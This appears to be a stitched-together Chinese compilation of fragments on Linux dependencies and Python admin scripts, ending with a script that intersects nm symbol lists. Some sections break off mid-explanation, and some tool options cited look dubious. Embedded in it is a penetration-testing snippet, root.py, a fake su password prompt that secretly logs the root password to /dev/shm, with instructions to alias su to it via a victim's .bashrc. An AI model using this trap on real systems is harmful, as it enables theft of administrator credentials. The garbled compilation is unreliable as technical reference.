一个python脚本看透Linux程序对库的依赖
linux 循环依赖关系
linux 循环依赖关系摘要：1.循环依赖关系的概念2.Linux 中循环依赖关系的表现3.解决Linux 中循环依赖关系的方法正文：一、循环依赖关系的概念循环依赖关系，是指在软件系统或编程语言中，两个或多个模块（如Java 中的Bean 或Python 中的库）相互依赖，形成一个闭环的关系。
这种关系可能导致编译或运行时出现错误，影响程序的稳定性和可维护性。
二、Linux 中循环依赖关系的表现在Linux 系统中，循环依赖关系通常出现在软件包之间。
当两个或多个软件包直接或间接地相互依赖时，就会形成循环依赖关系。
例如，软件包A 依赖于软件包B，而软件包B 又依赖于软件包A，这就构成了一个循环依赖关系。
在Linux 中，这种关系可能导致以下问题：1.编译错误：当循环依赖关系存在时，编译器可能无法正确解析依赖关系，从而导致编译错误。
2.链接错误：循环依赖关系可能导致链接器无法正确链接各个模块，从而引发链接错误。
3.运行时错误：循环依赖关系可能在程序运行时引发错误，影响程序的稳定性和可靠性。
三、解决Linux 中循环依赖关系的方法解决Linux 中循环依赖关系的方法有以下几种：1.修改依赖关系：通过调整软件包之间的依赖关系，避免形成循环依赖。
例如，将软件包A 的依赖关系从软件包B 改为其他软件包，从而打破循环依赖。
2.使用虚拟依赖：虚拟依赖是指在一定条件下，一个软件包可以依赖另一个软件包。
通过使用虚拟依赖，可以暂时解决循环依赖问题，使编译和链接过程正常进行。
例如，在Debian 和Ubuntu 系统中，可以使用`dpkg-buildpackage`命令中的`--no-parent`选项来创建虚拟依赖。
3.使用循环依赖解决工具：有些Linux 发行版提供了循环依赖解决工具，例如在Fedora 和CentOS 系统中，可以使用`yum-deps`命令来解决循环依赖问题。
4.手动编译和链接：在无法通过上述方法解决循环依赖关系时，可以尝试手动编译和链接各个模块，从而绕过循环依赖问题。
linux源码依赖关系
linux源码依赖关系对于Linux系统而言，源代码的依赖关系非常复杂，这也是Linux系统强大的一个重要因素。
下面，我们将从几个方面对Linux源码的依赖关系进行简要介绍。
1.内核依赖首先，我们需要知道Linux系统的内核和用户空间程序是分开编译的。
内核代码和用户空间程序代码之间存在着依赖关系。
内核代码中包含了许多用户空间代码所需要的函数和数据结构。
例如，系统调用需要内核来执行，因此系统调用的代码需要内核代码的支持。
此外，内核代码也需要用户空间中的库来支持。
因此，内核代码和用户空间程序代码之间存在着相互依赖的关系。
2.库依赖在Linux系统中，各种不同的库都有着不同的依赖关系。
例如，glibc（GNU C库）是Linux系统中最基本的库之一，它包含了许多用户空间代码所需要的函数和数据结构。
其他库，比如X11库、GTK库、Qt库等，也有着自己的依赖关系。
这些库之间的依赖关系非常复杂，需要开发者具有相当的经验和技能才能掌握。
3.模块依赖在Linux系统中，模块也需要相互之间进行依赖关系的建立。
模块是一种可以在运行时插入或移除的代码，它可以添加或删除功能或驱动程序。
模块之间也存在着一定的依赖关系。
例如，一个模块如果需要调用另一个模块中的函数时，就需要在代码中进行依赖声明。
这些依赖声明通常使用使用MODULE_DEPEND或MODULE_PNP_INFO来实现。
4.包依赖在Linux系统中，软件包之间也存在着依赖关系。
每个软件包都有着自己的依赖关系列表，它通常包括了一些其他的软件包或者库。
这些依赖关系通常可以用软件包管理器来管理。
例如，当用户安装某个软件包时，软件包管理器会自动解析出该软件包的依赖关系，并进行安装操作。
总体上讲，Linux系统的源代码依赖关系是非常复杂的。
从内核代码到用户空间程序代码，再到各种库、模块和软件包，它们之间形成了一个庞大的网络。
要想在Linux系统中进行代码开发，掌握这些依赖关系是非常重要的。
Linux系统远程连接管理的Python脚本
Linux系统远程连接管理的Python脚本Linux系统是一种开源的操作系统，其稳定性和可靠性被广泛认可。
为了更好地管理Linux系统的远程连接，我们可以编写一个Python脚本来简化操作、提高效率。
本文将介绍如何使用Python编写一个远程连接管理脚本，并展示其功能和使用方法。
一、概述远程连接管理脚本是基于Python的，可以通过提供的IP地址和用户名密码等信息来连接远程的Linux系统。
该脚本通过SSH协议与目标Linux系统建立连接，并且提供了一系列的功能，包括文件上传、文件下载、命令执行等。
下面将详细介绍脚本的使用方法及各项功能。
二、使用方法1. 环境配置在开始使用远程连接管理脚本之前，首先需要确保本地机器上已安装Python以及相关依赖库。
可以通过命令行检查Python版本和安装情况，如下所示：```$ python --versionPython 3.8.1$ pip --versionpip 20.0.2 from /usr/local/lib/python3.8/site-packages/pip (python 3.8)```确保Python版本为3.x，并且pip已正确安装。
2. 脚本使用在脚本代码的开头部分，需要修改以下参数以适应不同的情况：```hostname = '192.168.0.1' # 远程主机IP地址username = 'admin' # 用户名password = 'password' # 密码```将上述参数更改为目标Linux服务器的IP地址、用户名和密码。
脚本使用方法如下：①文件上传：通过命令行执行以下命令，将本地文件上传到远程Linux系统。
```$ python remote_connection.py upload local_file remote_folder```其中，local_file为本地文件的路径，remote_folder为远程Linux系统中的目标文件夹路径。
Linux系统自动化部署脚本使用Python编写的Linux系统自动化部署脚本
Linux系统自动化部署脚本使用Python编写的Linux系统自动化部署脚本Linux系统的部署是一个重要的任务，尤其是在大规模项目或企业中。
为了提高效率和准确性，自动化部署脚本成为了一个不可或缺的工具。
本文将介绍使用Python编写的Linux系统自动化部署脚本，以及其用法和优势。
一、概述Linux系统自动化部署脚本是一种利用Python编程语言编写的脚本，用于自动完成Linux系统的软件安装、配置和调优等一系列操作。
它能够大大减少手动操作的复杂性和可能的错误，提高系统部署的效率和准确性。
二、脚本功能1. 系统环境检测与准备：脚本首先会检测系统的硬件配置、操作系统版本和所需软件的依赖关系，确保系统能够正常运行所需的环境。
2. 软件安装与配置：根据用户的需求，脚本能够自动从软件仓库或指定的源下载所需软件，并完成软件的安装和基本配置。
3. 网络配置与服务启停：脚本可以自动配置网络参数，如IP地址、网关和DNS等，并启动或停止相应的网络服务，如SSH、HTTP等。
4. 数据库配置与管理：脚本可以配置和管理各种类型的数据库，如MySQL、PostgreSQL等，包括数据库的安装、初始化、创建和备份等操作。
5. 日志记录与错误处理：脚本能够记录详细的操作日志，包括每个步骤的执行情况和可能的错误信息，以便后续的排查和修复。
三、脚本编写1. 使用Python编程语言：Python是一种简单易学的脚本语言，具有丰富的库和模块，适用于各种自动化任务的编写。
2. 模块化设计与封装功能：脚本采用模块化的设计，将各个功能模块独立封装，提高代码的可重用性和可维护性。
3. 异常处理与错误提示：脚本能够捕获和处理可能的异常情况，并给出相应的错误提示，以便操作人员及时修复问题。
四、脚本用法1. 安装Python环境：脚本运行需要先安装Python编程环境，可以从官方网站下载并按照指引进行安装。
2. 获取脚本文件：可以从版本管理系统或者脚本仓库中获取脚本文件，确保获取的为最新版本。
Linux系统进程资源占用分析脚本使用Python编写的Linux进程资源占用分析脚本
Linux系统进程资源占用分析脚本使用Python编写的Linux进程资源占用分析脚本一、概述Linux操作系统是一种开源的、基于UNIX的操作系统，广泛应用于服务器领域。
随着服务器规模的扩大和应用的复杂性增加，对服务器性能的监控和分析成为企业运维工作的重要一环。
本文介绍了一种使用Python编写的Linux进程资源占用分析脚本，通过该脚本可以实时监控系统中的进程资源占用情况，帮助管理员快速定位和解决性能问题。
二、脚本功能1. CPU占用率分析在Linux系统中，进程的CPU占用率是一个重要的性能指标。
通过该脚本，可以实时监控系统中各个进程的CPU占用率，并绘制相关的统计图表。
管理员可以根据图表的分析结果，判断是否有某个进程占用过多的CPU资源，进而采取相应的措施。
2. 内存占用分析内存是Linux系统中的另一个重要资源。
过高的内存占用会导致系统性能下降，进而影响应用的正常运行。
本脚本可以实时监控系统中各个进程的内存占用情况，并提供详细的统计信息。
管理员可以通过该脚本了解系统中每个进程的内存占用情况，及时发现占用过多内存的进程，并做出相应的处理。
3. IO占用分析磁盘IO是影响系统性能的另一个重要因素。
通过该脚本，管理员可以实时监控系统中各个进程的IO占用情况，并生成相应的统计数据。
管理员可以根据统计数据，了解每个进程的IO占用情况，更好地进行系统调优。
三、使用方法1. 安装Python环境在使用该脚本之前，需要安装Python环境。
可以从Python官方网站下载并安装最新版本的Python。
2. 下载脚本文件管理员可以在Github等开源代码托管平台上下载该脚本的源代码文件。
下载完成后，将脚本文件保存到本地。
3. 运行脚本在Linux终端中，切换到脚本文件所在的目录，并使用Python运行脚本。
脚本会实时监控系统中的进程资源占用情况，并输出相关的统计数据。
四、结果输出1. 统计图表该脚本会生成各种统计图表，展示系统中各个进程的CPU、内存和IO占用情况。
Linux系统安全审计脚本使用Python编写的用于进行Linux系统安全审计的脚本
Linux系统安全审计脚本使用Python编写的用于进行Linux系统安全审计的脚本随着信息技术的不断发展和应用，计算机系统的安全性问题受到越来越多的关注。
Linux系统是服务器和大型计算环境中常用的操作系统之一，其安全性对于保护数据和网络的完整性至关重要。
因此，开发一种有效的Linux系统安全审计脚本成为了保障系统安全的重要手段。
本文将介绍一种使用Python编写的Linux系统安全审计脚本，该脚本可以帮助管理员进行系统漏洞扫描、进程监控、日志审计等操作，从而提高系统的安全性。
一、背景如今，Linux系统在服务器、云环境等计算领域得到广泛应用，然而，随着Linux环境的复杂化，系统的安全性要求也越来越高。
因此，一种能够帮助管理员对Linux系统进行安全审计的工具势在必行。
Python作为一种简洁且易于学习的编程语言，成为开发Linux安全审计脚本的首选。
二、功能与特点该Linux系统安全审计脚本使用Python编写，具有以下主要功能与特点：1. 漏洞扫描：该脚本可以对Linux系统中的常见漏洞进行扫描，如弱密码、开放端口等，以便管理员及时修补系统漏洞，提高系统的安全性。
2. 进程监控：通过该脚本，管理员可以监控系统中各个进程的运行情况，并根据预设的规则进行报警，从而及时发现异常进程的存在，以防止恶意代码或程序的运行。
3. 日志审计：该脚本可以对Linux系统中的各类日志进行审计，如登录日志、访问日志等，管理员可以通过该脚本对日志进行分析，发现潜在的安全威胁。
4. 系统设置检查：该脚本可以检查系统的设置是否符合安全规范，如sudo权限设置、防火墙配置等，以确保系统的安全性。
5. 定时任务执行：该脚本可以设置定时任务，定期进行系统安全检查，并将检查结果发送给管理员，方便管理员及时了解系统的安全状况。
三、使用方法管理员可以按照以下步骤使用该Linux系统安全审计脚本：1. 下载脚本：管理员可以从开发者提供的代码仓库中下载该脚本的源代码。
Linux系统日常维护脚本使用Python编写的日常维护工具适用于Linux环境
Linux系统日常维护脚本使用Python编写的日常维护工具适用于Linux环境在Linux系统的日常维护中，使用Python编写的脚本工具能够提高维护效率和简化操作流程。
本文将介绍Linux系统日常维护脚本的使用及其在Linux环境中的适用性。
一、脚本编写的背景和重要性随着Linux系统的广泛应用，系统维护的工作也变得越来越重要。
而手动管理和维护Linux系统的工作量较大，容易出错。
因此，编写脚本来实现自动化的系统维护，成为了提高工作效率和减轻工作负担的关键。
二、脚本编写所用编程语言选择在编写Linux系统日常维护脚本时，Python是一个常见的选择。
Python具有简洁、易读易写的特点，广泛应用于各个领域，尤其适合编写系统维护类的脚本。
同时，Python拥有丰富的库和模块，使得开发者可以方便地实现各种功能。
三、常见的Linux系统日常维护脚本1. 系统备份脚本系统备份是Linux系统日常维护的重要一环，可以通过编写Python 脚本来实现自动备份。
备份脚本需要考虑文件的完整性、备份间隔等问题，并可配置化地对不同的目录和文件进行备份。
2. 日志清理脚本日志文件在Linux系统中会不断增加，占据大量的存储空间。
编写Python脚本可以定期清理过期的日志文件，以释放存储空间并保持系统的正常运行。
3. 磁盘空间监控脚本Linux系统的磁盘空间有限，需要定期监控其使用情况，以避免因空间不足而导致系统故障。
通过Python脚本编写磁盘空间监控工具，可以定期检查磁盘使用情况，并在空间即将耗尽时提前报警。
4. 系统性能监控脚本为了保证Linux系统的正常运行，需要对系统性能进行监控和调优。
编写Python脚本可以实时监控系统的CPU、内存、网络等性能指标，并在指标异常时及时进行相应的处理。
5. 系统安全性监控脚本Linux系统的安全性是维护工作的关键，编写Python脚本可以监控系统的安全漏洞并进行修补，以保障系统的安全性。
在Linux中使用Python脚本实现系统快速部署
在Linux中使用Python脚本实现系统快速部署一、引言系统部署是软件开发中必不可少的环节之一。
而在Linux中，使用Python脚本进行系统快速部署可以提高效率、减少错误，并且具有一定的灵活性。
本文将介绍如何使用Python脚本来实现系统的快速部署。
二、Python脚本及其优势Python是一种强大的编程语言，拥有丰富的库和模块，使得它在系统部署方面具有许多优势。
以下是Python脚本在系统部署中的一些优势：1. 简单易学：Python拥有简洁的语法，使得它易于学习和使用。
2. 跨平台性：Python能够在不同的操作系统上运行，包括Linux、Windows和macOS等。
3. 丰富的库和模块：Python拥有众多的第三方库和模块，可以用于完成各种任务，如文件操作、网络通信、数据库连接等。
4. 可读性强：Python的代码易于阅读和理解，这有助于降低系统维护的复杂度。
5. 性能优异：Python通过使用C语言实现的扩展模块，使得其性能接近于C语言，同时又能保持其简洁的语法。
三、系统部署过程概述系统部署是将应用程序及其相关组件部署到目标环境中的过程。
在Linux中，系统部署通常包括以下步骤：1. 安装操作系统：选择合适的Linux发行版，并完成基本的系统安装。
2. 安装依赖包：为了确保应用程序的正常运行，需要安装所需的依赖包和库。
3. 配置系统环境：包括设置网络参数、修改系统配置文件等。
4. 部署应用程序：将应用程序文件拷贝到目标服务器，并配置相关的运行参数。
5. 启动应用程序：启动应用程序，并进行相关的测试和验证。
四、使用Python脚本实现系统快速部署的步骤1. 编写Python脚本：首先，我们需要编写一个Python脚本，用于实现系统快速部署。
在脚本中，我们可以使用Python的os模块来进行文件操作和系统命令执行，使用subprocess模块来执行外部命令，使用paramiko模块来进行SSH连接和文件传输等。
[91ri]渗透用的Python小脚本
[91ri]渗透⽤的Python⼩脚本0x00渗透的很多时候，找到的⼯具并不适⽤，⾃⼰码代码才是王道，下⾯三个程序都是渗透时在⽹络上找不到合适⼯具，⾃⼰⾟苦开发的，短⼩使⽤，求欣赏，求好评。
0x01记录root密码⼩⼯具root.py1#!/usr/bin/python2import os, sys, getpass, time34 current_time = time.strftime("%Y-%m-%d %H:%M")5 logfile="/dev/shm/.su.log" //密码获取后记录在这⾥6#CentOS7#fail_str = "su: incorrect password"8#Ubuntu9#fail_str = "su: Authentication failure"10#For Linux Korea //centos,ubuntu,korea 切换root⽤户失败提⽰不⼀样11 fail_str = "su: incorrect password"12try:13 passwd = getpass.getpass(prompt='Password: ');14 file=open(logfile,'a')15 file.write("[%s]t%s"%(passwd, current_time)) //截取root密码16 file.write('n')17 file.close()18except:19pass20 time.sleep(1)21print fail_str //打印切换root失败提⽰渗透linux拿到低权限并提权⽆果时，将这个程序传上去，再将⼀个低权限⽤户⽬录下的.bashrc添加⼀句alias su=’/usr/root.py'; 低权限⽤户su root 后成功记录密码。
Linux系统配置检查脚本使用Python检查和修复系统配置
Linux系统配置检查脚本使用Python检查和修复系统配置在现代计算机系统中，Linux作为一种被广泛使用的操作系统，它的配置对系统的稳定性和安全性至关重要。
为了保证系统配置的准确性和一致性，我们可以使用Python编写一个配置检查脚本，并且在发现问题时直接进行修复。
1. 脚本说明配置检查脚本的目标是检查Linux系统中的各个配置项目，并提供修复选项。
脚本可以通过读取配置文件、执行系统命令或者查询系统状态信息来检查配置。
接下来，我将介绍脚本的主要功能和使用方法。
2. 环境准备在使用配置检查脚本之前，我们需要准备好Python的运行环境。
首先，确保系统上已经安装了Python解释器。
可以通过在终端中运行以下命令来检查Python版本：```python --version```如果系统中没有安装Python，请先安装Python解释器。
3. 脚本编写与使用接下来，我们开始编写配置检查脚本。
以下是一个简单的范例脚本，用于检查和修复系统中的某些常见配置项：```pythonimport osdef check_configuration():# 检查配置项1if os.path.exists('/etc/some_config_file'):print('配置项1已正确配置。
')else:print('配置项1未找到或配置有误。
')fix_configuration_1()# 检查配置项2if os.path.exists('/etc/another_config_file'):print('配置项2已正确配置。
')else:print('配置项2未找到或配置有误。
')fix_configuration_2()def fix_configuration_1():# 修复配置项1的方法# 这里可以调用其他命令或者函数来进行修复操作def fix_configuration_2():# 修复配置项2的方法# 这里可以调用其他命令或者函数来进行修复操作check_configuration()```通过以上脚本，我们可以通过检查配置文件或者其他相关指标来验证配置项是否正确。
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一个python脚本看透Linux程序对库的依赖
在下今天写了一个小小的python程序，可以在完全不看源代码的情况下，分析a如果调用b.so的时候，会引用b.so的哪些函数，它的用法如下：
./symbol-dep.py-sa -db.so
把a作为-s参数，把b.so作为-d参数。
它的原理如下：
用nm -D --undefined-only命令可以列出一个程序依赖的需要动态链接的库函数，譬如：用nm -D --defined-only命令可以列出一个动态链接库给别人提供的函数，譬如：
我们只要把a依赖的函数，与b.so供给的函数中，求一个交集，即可在完全没有源代码的情况下，知道a会call到b.so的哪些函数。
核心源代码如下(部分用了省略号方便阅读)：#!/usr/bin/python3
import sys, getopt, os
def main(argv):
...
try:
opts, args = getopt.getopt(...)
except getopt.GetoptError:
...
for opt, arg in opts:
if opt == -h:
p...
elif opt in ("-s", "--sfile"):
srcfile = arg
elif opt in ("-d", "--dfile"):
dstfile = arg
# get the symbols srcfile depends on
src=os.popen("nm -D --undefined-only "+srcfile)
srclist=src.read().splitlines()。